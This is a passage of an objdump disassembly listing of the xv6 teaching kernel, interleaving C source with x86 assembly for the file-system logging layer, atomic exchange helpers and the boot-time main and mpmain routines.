-0x20(%ebp),%edx 80103af5: 89 50 08 mov %edx,0x8(%eax) 80103af8: 8b 55 e4 mov -0x1c(%ebp),%edx 80103afb: 89 50 0c mov %edx,0xc(%eax) 80103afe: 8b 55 e8 mov -0x18(%ebp),%edx 80103b01: 89 50 10 mov %edx,0x10(%eax) 80103b04: 8b 55 ec mov -0x14(%ebp),%edx 80103b07: 89 50 14 mov %edx,0x14(%eax) r->year += 2000; 80103b0a: 8b 45 08 mov 0x8(%ebp),%eax 80103b0d: 8b 40 14 mov 0x14(%eax),%eax 80103b10: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx 80103b16: 8b 45 08 mov 0x8(%ebp),%eax 80103b19: 89 50 14 mov %edx,0x14(%eax) } 80103b1c: c9 leave 80103b1d: c3 ret ... 80103b20 <initlog>: static void recover_from_log(void); static void commit(); void initlog(int dev) { 80103b20: 55 push %ebp 80103b21: 89 e5 mov %esp,%ebp 80103b23: 83 ec 38 sub $0x38,%esp if (sizeof(struct logheader) >= BSIZE) panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); 80103b26: c7 44 24 04 24 95 10 movl $0x80109524,0x4(%esp) 80103b2d: 80 80103b2e: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103b35: e8 50 20 00 00 call 80105b8a <initlock> readsb(dev, &sb); 80103b3a: 8d 45 dc lea -0x24(%ebp),%eax 80103b3d: 89 44 24 04 mov %eax,0x4(%esp) 80103b41: 8b 45 08 mov 0x8(%ebp),%eax 80103b44: 89 04 24 mov %eax,(%esp) 80103b47: e8 dc df ff ff call 80101b28 <readsb> log.start = sb.logstart; 80103b4c: 8b 45 ec mov -0x14(%ebp),%eax 80103b4f: a3 d4 3a 11 80 mov %eax,0x80113ad4 log.size = sb.nlog; 80103b54: 8b 45 e8 mov -0x18(%ebp),%eax 80103b57: a3 d8 3a 11 80 mov %eax,0x80113ad8 log.dev = dev; 80103b5c: 8b 45 08 mov 0x8(%ebp),%eax 80103b5f: a3 e4 3a 11 80 mov %eax,0x80113ae4 recover_from_log(); 80103b64: e8 97 01 00 00 call 80103d00 <recover_from_log> } 80103b69: c9 leave 80103b6a: c3 ret 80103b6b <install_trans>: // Copy committed blocks from log to their home location static void install_trans(void) { 80103b6b: 55 push %ebp 80103b6c: 89 e5 mov %esp,%ebp 80103b6e: 83 ec 28 sub $0x28,%esp int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103b71: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103b78: e9 89 00 00 00 jmp 80103c06 <install_trans+0x9b> struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80103b7d: a1 d4 3a 11 80 mov 0x80113ad4,%eax 80103b82: 03 45 f4 add -0xc(%ebp),%eax 80103b85: 83 c0 01 add $0x1,%eax 80103b88: 89 c2 mov %eax,%edx 80103b8a: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103b8f: 89 54 24 04 mov %edx,0x4(%esp) 80103b93: 89 04 24 mov %eax,(%esp) 80103b96: e8 0b c6 ff ff call 801001a6 <bread> 80103b9b: 89 45 f0 mov %eax,-0x10(%ebp) struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80103b9e: 8b 45 f4 mov -0xc(%ebp),%eax 80103ba1: 83 c0 10 add $0x10,%eax 80103ba4: 8b 04 85 ac 3a 11 80 mov -0x7feec554(,%eax,4),%eax 80103bab: 89 c2 mov %eax,%edx 80103bad: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103bb2: 89 54 24 04 mov %edx,0x4(%esp) 80103bb6: 89 04 24 mov %eax,(%esp) 80103bb9: e8 e8 c5 ff ff call 801001a6 <bread> 80103bbe: 89 45 ec mov %eax,-0x14(%ebp) memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80103bc1: 8b 45 f0 mov -0x10(%ebp),%eax 80103bc4: 8d 50 18 lea 0x18(%eax),%edx 80103bc7: 8b 45 ec mov -0x14(%ebp),%eax 80103bca: 83 c0 18 add $0x18,%eax 80103bcd: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80103bd4: 00 80103bd5: 89 54 24 04 mov %edx,0x4(%esp) 80103bd9: 89 04 24 mov %eax,(%esp) 80103bdc: e8 ec 22 00 00 call 80105ecd <memmove> bwrite(dbuf); // write dst to disk 80103be1: 8b 45 ec mov -0x14(%ebp),%eax 80103be4: 89 04 24 mov %eax,(%esp) 80103be7: e8 f1 c5 ff ff call 801001dd <bwrite> brelse(lbuf); 80103bec: 8b 45 f0 mov -0x10(%ebp),%eax 80103bef: 89 04 24 mov %eax,(%esp) 80103bf2: e8 20 c6 ff ff call 80100217 <brelse> brelse(dbuf); 80103bf7: 8b 45 ec mov -0x14(%ebp),%eax 80103bfa: 89 04 24 mov %eax,(%esp) 80103bfd: e8 15 c6 ff ff call 80100217 <brelse> static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103c02: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103c06: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103c0b: 3b 45 f4 cmp -0xc(%ebp),%eax 80103c0e: 0f 8f 69 ff ff ff jg 80103b7d <install_trans+0x12> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst bwrite(dbuf); // write dst to disk brelse(lbuf); brelse(dbuf); } } 80103c14: c9 leave 80103c15: c3 ret 80103c16 <read_head>: // Read the log header from disk into the in-memory log header static void read_head(void) { 80103c16: 55 push %ebp 80103c17: 89 e5 mov %esp,%ebp 80103c19: 83 ec 28 sub $0x28,%esp struct buf *buf = bread(log.dev, log.start); 80103c1c: a1 d4 3a 11 80 mov 0x80113ad4,%eax 80103c21: 89 c2 mov %eax,%edx 80103c23: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103c28: 89 54 24 04 mov %edx,0x4(%esp) 80103c2c: 89 04 24 mov %eax,(%esp) 80103c2f: e8 72 c5 ff ff call 801001a6 <bread> 80103c34: 89 45 f0 mov %eax,-0x10(%ebp) struct logheader *lh = (struct logheader *) (buf->data); 80103c37: 8b 45 f0 mov -0x10(%ebp),%eax 80103c3a: 83 c0 18 add $0x18,%eax 80103c3d: 89 45 ec mov %eax,-0x14(%ebp) int i; log.lh.n = lh->n; 80103c40: 8b 45 ec mov -0x14(%ebp),%eax 80103c43: 8b 00 mov (%eax),%eax 80103c45: a3 e8 3a 11 80 mov %eax,0x80113ae8 for (i = 0; i < log.lh.n; i++) { 80103c4a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103c51: eb 1b jmp 80103c6e <read_head+0x58> log.lh.block[i] = lh->block[i]; 80103c53: 8b 45 ec mov -0x14(%ebp),%eax 80103c56: 8b 55 f4 mov -0xc(%ebp),%edx 80103c59: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax 80103c5d: 8b 55 f4 mov -0xc(%ebp),%edx 80103c60: 83 c2 10 add $0x10,%edx 80103c63: 89 04 95 ac 3a 11 80 mov %eax,-0x7feec554(,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80103c6a: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103c6e: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103c73: 3b 45 f4 cmp -0xc(%ebp),%eax 80103c76: 7f db jg 80103c53 <read_head+0x3d> log.lh.block[i] = lh->block[i]; } brelse(buf); 80103c78: 8b 45 f0 mov -0x10(%ebp),%eax 80103c7b: 89 04 24 mov %eax,(%esp) 80103c7e: e8 94 c5 ff ff call 80100217 <brelse> } 80103c83: c9 leave 80103c84: c3 ret 80103c85 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80103c85: 55 push %ebp 80103c86: 89 e5 mov %esp,%ebp 80103c88: 83 ec 28 sub $0x28,%esp struct buf *buf = bread(log.dev, log.start); 80103c8b: a1 d4 3a 11 80 mov 0x80113ad4,%eax 80103c90: 89 c2 mov %eax,%edx 80103c92: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103c97: 89 54 24 04 mov %edx,0x4(%esp) 80103c9b: 89 04 24 mov %eax,(%esp) 80103c9e: e8 03 c5 ff ff call 801001a6 <bread> 80103ca3: 89 45 f0 mov %eax,-0x10(%ebp) struct logheader *hb = (struct logheader *) (buf->data); 80103ca6: 8b 45 f0 mov -0x10(%ebp),%eax 80103ca9: 83 c0 18 add $0x18,%eax 80103cac: 89 45 ec mov %eax,-0x14(%ebp) int i; hb->n = log.lh.n; 80103caf: 8b 15 e8 3a 11 80 mov 0x80113ae8,%edx 80103cb5: 8b 45 ec mov -0x14(%ebp),%eax 80103cb8: 89 10 mov %edx,(%eax) for (i = 0; i < log.lh.n; i++) { 80103cba: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103cc1: eb 1b jmp 80103cde <write_head+0x59> hb->block[i] = log.lh.block[i]; 80103cc3: 8b 45 f4 mov -0xc(%ebp),%eax 80103cc6: 83 c0 10 add $0x10,%eax 80103cc9: 8b 0c 85 ac 3a 11 80 mov -0x7feec554(,%eax,4),%ecx 80103cd0: 8b 45 ec mov -0x14(%ebp),%eax 80103cd3: 8b 55 f4 mov -0xc(%ebp),%edx 80103cd6: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80103cda: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103cde: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103ce3: 3b 45 f4 cmp -0xc(%ebp),%eax 80103ce6: 7f db jg 80103cc3 <write_head+0x3e> hb->block[i] = log.lh.block[i]; } bwrite(buf); 80103ce8: 8b 45 f0 mov -0x10(%ebp),%eax 80103ceb: 89 04 24 mov %eax,(%esp) 80103cee: e8 ea c4 ff ff call 801001dd <bwrite> brelse(buf); 80103cf3: 8b 45 f0 mov -0x10(%ebp),%eax 80103cf6: 89 04 24 mov %eax,(%esp) 80103cf9: e8 19 c5 ff ff call 80100217 <brelse> } 80103cfe: c9 leave 80103cff: c3 ret 80103d00 <recover_from_log>: static void recover_from_log(void) { 80103d00: 55 push %ebp 80103d01: 89 e5 mov %esp,%ebp 80103d03: 83 ec 08 sub $0x8,%esp read_head(); 80103d06: e8 0b ff ff ff call 80103c16 <read_head> install_trans(); // if committed, copy from log to disk 80103d0b: e8 5b fe ff ff call 80103b6b <install_trans> log.lh.n = 0; 80103d10: c7 05 e8 3a 11 80 00 movl $0x0,0x80113ae8 80103d17: 00 00 00 write_head(); // clear the log 80103d1a: e8 66 ff ff ff call 80103c85 <write_head> } 80103d1f: c9 leave 80103d20: c3 ret 80103d21 <begin_op>: // called at the start of each FS system call. void begin_op(void) { 80103d21: 55 push %ebp 80103d22: 89 e5 mov %esp,%ebp 80103d24: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80103d27: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103d2e: e8 78 1e 00 00 call 80105bab <acquire> while(1){ if(log.committing){ 80103d33: a1 e0 3a 11 80 mov 0x80113ae0,%eax 80103d38: 85 c0 test %eax,%eax 80103d3a: 74 16 je 80103d52 <begin_op+0x31> sleep(&log, &log.lock); 80103d3c: c7 44 24 04 a0 3a 11 movl $0x80113aa0,0x4(%esp) 80103d43: 80 80103d44: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103d4b: e8 6f 19 00 00 call 801056bf <sleep> } else { log.outstanding += 1; release(&log.lock); break; } } 80103d50: eb e1 jmp 80103d33 <begin_op+0x12> { acquire(&log.lock); while(1){ if(log.committing){ sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80103d52: 8b 0d e8 3a 11 80 mov 0x80113ae8,%ecx 80103d58: a1 dc 3a 11 80 mov 0x80113adc,%eax 80103d5d: 8d 50 01 lea 0x1(%eax),%edx 80103d60: 89 d0 mov %edx,%eax 80103d62: c1 e0 02 shl $0x2,%eax 80103d65: 01 d0 add %edx,%eax 80103d67: 01 c0 add %eax,%eax 80103d69: 01 c8 add %ecx,%eax 80103d6b: 83 f8 1e cmp $0x1e,%eax 80103d6e: 7e 16 jle 80103d86 <begin_op+0x65> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); 80103d70: c7 44 24 04 a0 3a 11 movl $0x80113aa0,0x4(%esp) 80103d77: 80 80103d78: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103d7f: e8 3b 19 00 00 call 801056bf <sleep> } else { log.outstanding += 1; release(&log.lock); break; } } 80103d84: eb ad jmp 80103d33 <begin_op+0x12> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; 80103d86: a1 dc 3a 11 80 mov 0x80113adc,%eax 80103d8b: 83 c0 01 add $0x1,%eax 80103d8e: a3 dc 3a 11 80 mov %eax,0x80113adc release(&log.lock); 80103d93: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103d9a: e8 6e 1e 00 00 call 80105c0d <release> break; 80103d9f: 90 nop } } } 80103da0: c9 leave 80103da1: c3 ret 80103da2 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80103da2: 55 push %ebp 80103da3: 89 e5 mov %esp,%ebp 80103da5: 83 ec 28 sub $0x28,%esp int do_commit = 0; 80103da8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) acquire(&log.lock); 80103daf: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103db6: e8 f0 1d 00 00 call 80105bab <acquire> log.outstanding -= 1; 80103dbb: a1 dc 3a 11 80 mov 0x80113adc,%eax 80103dc0: 83 e8 01 sub $0x1,%eax 80103dc3: a3 dc 3a 11 80 mov %eax,0x80113adc if(log.committing) 80103dc8: a1 e0 3a 11 80 mov 0x80113ae0,%eax 80103dcd: 85 c0 test %eax,%eax 80103dcf: 74 0c je 80103ddd <end_op+0x3b> panic("log.committing"); 80103dd1: c7 04 24 28 95 10 80 movl $0x80109528,(%esp) 80103dd8: e8 60 c7 ff ff call 8010053d <panic> if(log.outstanding == 0){ 80103ddd: a1 dc 3a 11 80 mov 0x80113adc,%eax 80103de2: 85 c0 test %eax,%eax 80103de4: 75 13 jne 80103df9 <end_op+0x57> do_commit = 1; 80103de6: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) log.committing = 1; 80103ded: c7 05 e0 3a 11 80 01 movl $0x1,0x80113ae0 80103df4: 00 00 00 80103df7: eb 0c jmp 80103e05 <end_op+0x63> } else { // begin_op() may be waiting for log space. wakeup(&log); 80103df9: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103e00: e8 a3 19 00 00 call 801057a8 <wakeup> } release(&log.lock); 80103e05: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103e0c: e8 fc 1d 00 00 call 80105c0d <release> if(do_commit){ 80103e11: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80103e15: 74 33 je 80103e4a <end_op+0xa8> // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); 80103e17: e8 db 00 00 00 call 80103ef7 <commit> acquire(&log.lock); 80103e1c: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103e23: e8 83 1d 00 00 call 80105bab <acquire> log.committing = 0; 80103e28: c7 05 e0 3a 11 80 00 movl $0x0,0x80113ae0 80103e2f: 00 00 00 wakeup(&log); 80103e32: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103e39: e8 6a 19 00 00 call 801057a8 <wakeup> release(&log.lock); 80103e3e: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103e45: e8 c3 1d 00 00 call 80105c0d <release> } } 80103e4a: c9 leave 80103e4b: c3 ret 80103e4c <write_log>: // Copy modified blocks from cache to log. static void write_log(void) { 80103e4c: 55 push %ebp 80103e4d: 89 e5 mov %esp,%ebp 80103e4f: 83 ec 28 sub $0x28,%esp int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103e52: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103e59: e9 89 00 00 00 jmp 80103ee7 <write_log+0x9b> struct buf *to = bread(log.dev, log.start+tail+1); // log block 80103e5e: a1 d4 3a 11 80 mov 0x80113ad4,%eax 80103e63: 03 45 f4 add -0xc(%ebp),%eax 80103e66: 83 c0 01 add $0x1,%eax 80103e69: 89 c2 mov %eax,%edx 80103e6b: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103e70: 89 54 24 04 mov %edx,0x4(%esp) 80103e74: 89 04 24 mov %eax,(%esp) 80103e77: e8 2a c3 ff ff call 801001a6 <bread> 80103e7c: 89 45 f0 mov %eax,-0x10(%ebp) struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80103e7f: 8b 45 f4 mov -0xc(%ebp),%eax 80103e82: 83 c0 10 add $0x10,%eax 80103e85: 8b 04 85 ac 3a 11 80 mov -0x7feec554(,%eax,4),%eax 80103e8c: 89 c2 mov %eax,%edx 80103e8e: a1 e4 3a 11 80 mov 0x80113ae4,%eax 80103e93: 89 54 24 04 mov %edx,0x4(%esp) 80103e97: 89 04 24 mov %eax,(%esp) 80103e9a: e8 07 c3 ff ff call 801001a6 <bread> 80103e9f: 89 45 ec mov %eax,-0x14(%ebp) memmove(to->data, from->data, BSIZE); 80103ea2: 8b 45 ec mov -0x14(%ebp),%eax 80103ea5: 8d 50 18 lea 0x18(%eax),%edx 80103ea8: 8b 45 f0 mov -0x10(%ebp),%eax 80103eab: 83 c0 18 add $0x18,%eax 80103eae: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80103eb5: 00 80103eb6: 89 54 24 04 mov %edx,0x4(%esp) 80103eba: 89 04 24 mov %eax,(%esp) 80103ebd: e8 0b 20 00 00 call 80105ecd <memmove> bwrite(to); // write the log 80103ec2: 8b 45 f0 mov -0x10(%ebp),%eax 80103ec5: 89 04 24 mov %eax,(%esp) 80103ec8: e8 10 c3 ff ff call 801001dd <bwrite> brelse(from); 80103ecd: 8b 45 ec mov -0x14(%ebp),%eax 80103ed0: 89 04 24 mov %eax,(%esp) 80103ed3: e8 3f c3 ff ff call 80100217 <brelse> brelse(to); 80103ed8: 8b 45 f0 mov -0x10(%ebp),%eax 80103edb: 89 04 24 mov %eax,(%esp) 80103ede: e8 34 c3 ff ff call 80100217 <brelse> static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103ee3: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103ee7: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103eec: 3b 45 f4 cmp -0xc(%ebp),%eax 80103eef: 0f 8f 69 ff ff ff jg 80103e5e <write_log+0x12> memmove(to->data, from->data, BSIZE); bwrite(to); // write the log brelse(from); brelse(to); } } 80103ef5: c9 leave 80103ef6: c3 ret 80103ef7 <commit>: static void commit() { 80103ef7: 55 push %ebp 80103ef8: 89 e5 mov %esp,%ebp 80103efa: 83 ec 08 sub $0x8,%esp if (log.lh.n > 0) { 80103efd: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103f02: 85 c0 test %eax,%eax 80103f04: 7e 1e jle 80103f24 <commit+0x2d> write_log(); // Write modified blocks from cache to log 80103f06: e8 41 ff ff ff call 80103e4c <write_log> write_head(); // Write header to disk -- the real commit 80103f0b: e8 75 fd ff ff call 80103c85 <write_head> install_trans(); // Now install writes to home locations 80103f10: e8 56 fc ff ff call 80103b6b <install_trans> log.lh.n = 0; 80103f15: c7 05 e8 3a 11 80 00 movl $0x0,0x80113ae8 80103f1c: 00 00 00 write_head(); // Erase the transaction from the log 80103f1f: e8 61 fd ff ff call 80103c85 <write_head> } } 80103f24: c9 leave 80103f25: c3 ret 80103f26 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80103f26: 55 push %ebp 80103f27: 89 e5 mov %esp,%ebp 80103f29: 83 ec 28 sub $0x28,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80103f2c: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103f31: 83 f8 1d cmp $0x1d,%eax 80103f34: 7f 12 jg 80103f48 <log_write+0x22> 80103f36: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103f3b: 8b 15 d8 3a 11 80 mov 0x80113ad8,%edx 80103f41: 83 ea 01 sub $0x1,%edx 80103f44: 39 d0 cmp %edx,%eax 80103f46: 7c 0c jl 80103f54 <log_write+0x2e> panic("too big a transaction"); 80103f48: c7 04 24 37 95 10 80 movl $0x80109537,(%esp) 80103f4f: e8 e9 c5 ff ff call 8010053d <panic> if (log.outstanding < 1) 80103f54: a1 dc 3a 11 80 mov 0x80113adc,%eax 80103f59: 85 c0 test %eax,%eax 80103f5b: 7f 0c jg 80103f69 <log_write+0x43> panic("log_write outside of trans"); 80103f5d: c7 04 24 4d 95 10 80 movl $0x8010954d,(%esp) 80103f64: e8 d4 c5 ff ff call 8010053d <panic> acquire(&log.lock); 80103f69: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103f70: e8 36 1c 00 00 call 80105bab <acquire> for (i = 0; i < log.lh.n; i++) { 80103f75: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103f7c: eb 1d jmp 80103f9b <log_write+0x75> if (log.lh.block[i] == b->blockno) // log absorbtion 80103f7e: 8b 45 f4 mov -0xc(%ebp),%eax 80103f81: 83 c0 10 add $0x10,%eax 80103f84: 8b 04 85 ac 3a 11 80 mov -0x7feec554(,%eax,4),%eax 80103f8b: 89 c2 mov %eax,%edx 80103f8d: 8b 45 08 mov 0x8(%ebp),%eax 80103f90: 8b 40 08 mov 0x8(%eax),%eax 80103f93: 39 c2 cmp %eax,%edx 80103f95: 74 10 je 80103fa7 <log_write+0x81> panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80103f97: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103f9b: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103fa0: 3b 45 f4 cmp -0xc(%ebp),%eax 80103fa3: 7f d9 jg 80103f7e <log_write+0x58> 80103fa5: eb 01 jmp 80103fa8 <log_write+0x82> if (log.lh.block[i] == b->blockno) // log absorbtion break; 80103fa7: 90 nop } log.lh.block[i] = b->blockno; 80103fa8: 8b 45 08 mov 0x8(%ebp),%eax 80103fab: 8b 40 08 mov 0x8(%eax),%eax 80103fae: 8b 55 f4 mov -0xc(%ebp),%edx 80103fb1: 83 c2 10 add $0x10,%edx 80103fb4: 89 04 95 ac 3a 11 80 mov %eax,-0x7feec554(,%edx,4) if (i == log.lh.n) 80103fbb: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103fc0: 3b 45 f4 cmp -0xc(%ebp),%eax 80103fc3: 75 0d jne 80103fd2 <log_write+0xac> log.lh.n++; 80103fc5: a1 e8 3a 11 80 mov 0x80113ae8,%eax 80103fca: 83 c0 01 add $0x1,%eax 80103fcd: a3 e8 3a 11 80 mov %eax,0x80113ae8 b->flags |= B_DIRTY; // prevent eviction 80103fd2: 8b 45 08 mov 0x8(%ebp),%eax 80103fd5: 8b 00 mov (%eax),%eax 80103fd7: 89 c2 mov %eax,%edx 80103fd9: 83 ca 04 or $0x4,%edx 80103fdc: 8b 45 08 mov 0x8(%ebp),%eax 80103fdf: 89 10 mov %edx,(%eax) release(&log.lock); 80103fe1: c7 04 24 a0 3a 11 80 movl $0x80113aa0,(%esp) 80103fe8: e8 20 1c 00 00 call 80105c0d <release> } 80103fed: c9 leave 80103fee: c3 ret ... 80103ff0 <v2p>: 80103ff0: 55 push %ebp 80103ff1: 89 e5 mov %esp,%ebp 80103ff3: 8b 45 08 mov 0x8(%ebp),%eax 80103ff6: 05 00 00 00 80 add $0x80000000,%eax 80103ffb: 5d pop %ebp 80103ffc: c3 ret 80103ffd <p2v>: static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); } 80103ffd: 55 push %ebp 80103ffe: 89 e5 mov %esp,%ebp 80104000: 8b 45 08 mov 0x8(%ebp),%eax 80104003: 05 00 00 00 80 add $0x80000000,%eax 80104008: 5d pop %ebp 80104009: c3 ret 8010400a <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 8010400a: 55 push %ebp 8010400b: 89 e5 mov %esp,%ebp 8010400d: 53 push %ebx 8010400e: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : "+m" (*addr), "=a" (result) : 80104011: 8b 55 08 mov 0x8(%ebp),%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80104014: 8b 45 0c mov 0xc(%ebp),%eax "+m" (*addr), "=a" (result) : 80104017: 8b 4d 08 mov 0x8(%ebp),%ecx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 8010401a: 89 c3 mov %eax,%ebx 8010401c: 89 d8 mov %ebx,%eax 8010401e: f0 87 02 lock xchg %eax,(%edx) 80104021: 89 c3 mov %eax,%ebx 80104023: 89 5d f8 mov %ebx,-0x8(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 80104026: 8b 45 f8 mov -0x8(%ebp),%eax } 80104029: 83 c4 10 add $0x10,%esp 8010402c: 5b pop %ebx 8010402d: 5d pop %ebp 8010402e: c3 ret 8010402f <main>: // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 8010402f: 55 push %ebp 80104030: 89 e5 mov %esp,%ebp 80104032: 83 e4 f0 and $0xfffffff0,%esp 80104035: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80104038: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 8010403f: 80 80104040: c7 04 24 7c 6e 11 80 movl $0x80116e7c,(%esp) 80104047: e8 5d f2 ff ff call 801032a9 <kinit1> kvmalloc(); // kernel page table 8010404c: e8 b5 4a 00 00 call 80108b06 <kvmalloc> mpinit(); // collect info about this machine 80104051: e8 4f 04 00 00 call 801044a5 <mpinit> lapicinit(); 80104056: e8 d7 f5 ff ff call 80103632 <lapicinit> seginit(); // set up segments 8010405b: e8 49 44 00 00 call 801084a9 <seginit> cprintf("\ncpu%d: starting xv6\n\n", cpu->id); 80104060: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104066: 0f b6 00 movzbl (%eax),%eax 80104069: 0f b6 c0 movzbl %al,%eax 8010406c: 89 44 24 04 mov %eax,0x4(%esp) 80104070: c7 04 24 68 95 10 80 movl $0x80109568,(%esp) 80104077: e8 25 c3 ff ff call 801003a1 <cprintf> picinit(); // interrupt controller 8010407c: e8 89 06 00 00 call 8010470a <picinit> ioapicinit(); // another interrupt controller 80104081: e8 13 f1 ff ff call 80103199 <ioapicinit> consoleinit(); // I/O devices & their interrupts 80104086: e8 21 d2 ff ff call 801012ac <consoleinit> uartinit(); // serial port 8010408b: e8 64 37 00 00 call 801077f4 <uartinit> pinit(); // process table 80104090: e8 8a 0b 00 00 call 80104c1f <pinit> tvinit(); // trap vectors 80104095: e8 a1 32 00 00 call 8010733b <tvinit> binit(); // buffer cache 8010409a: e8 95 bf ff ff call 80100034 <binit> fileinit(); // file table 8010409f: e8 98 d6 ff ff call 8010173c <fileinit> ideinit(); // disk 801040a4: e8 21 ed ff ff call 80102dca <ideinit> if(!ismp) 801040a9: a1 84 3b 11 80 mov 0x80113b84,%eax 801040ae: 85 c0 test %eax,%eax 801040b0: 75 05 jne 801040b7 <main+0x88> timerinit(); // uniprocessor timer 801040b2: e8 c7 31 00 00 call 8010727e <timerinit> startothers(); // start other processors 801040b7: e8 7f 00 00 00 call 8010413b <startothers> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 801040bc: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 801040c3: 8e 801040c4: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 801040cb: e8 11 f2 ff ff call 801032e1 <kinit2> userinit(); // first user process 801040d0: e8 75 0c 00 00 call 80104d4a <userinit> // Finish setting up this processor in mpmain. mpmain(); 801040d5: e8 1a 00 00 00 call 801040f4 <mpmain> 801040da <mpenter>: } // Other CPUs jump here from entryother.S. static void mpenter(void) { 801040da: 55 push %ebp 801040db: 89 e5 mov %esp,%ebp 801040dd: 83 ec 08 sub $0x8,%esp switchkvm(); 801040e0: e8 38 4a 00 00 call 80108b1d <switchkvm> seginit(); 801040e5: e8 bf 43 00 00 call 801084a9 <seginit> lapicinit(); 801040ea: e8 43 f5 ff ff call 80103632 <lapicinit> mpmain(); 801040ef: e8 00 00 00 00 call 801040f4 <mpmain> 801040f4 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 801040f4: 55 push %ebp 801040f5: 89 e5 mov %esp,%ebp 801040f7: 83 ec 18 sub $0x18,%esp cprintf("cpu%d: starting\n", cpu->id); 801040fa: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80104100: 0f b6 00 movzbl (%eax),%eax 80104103: 0f b6 c0 movzbl %al,%eax 80104106: 89 44 24 04 mov %eax,0x4(%esp) 8010410a: c7 04 24 7f 95 10 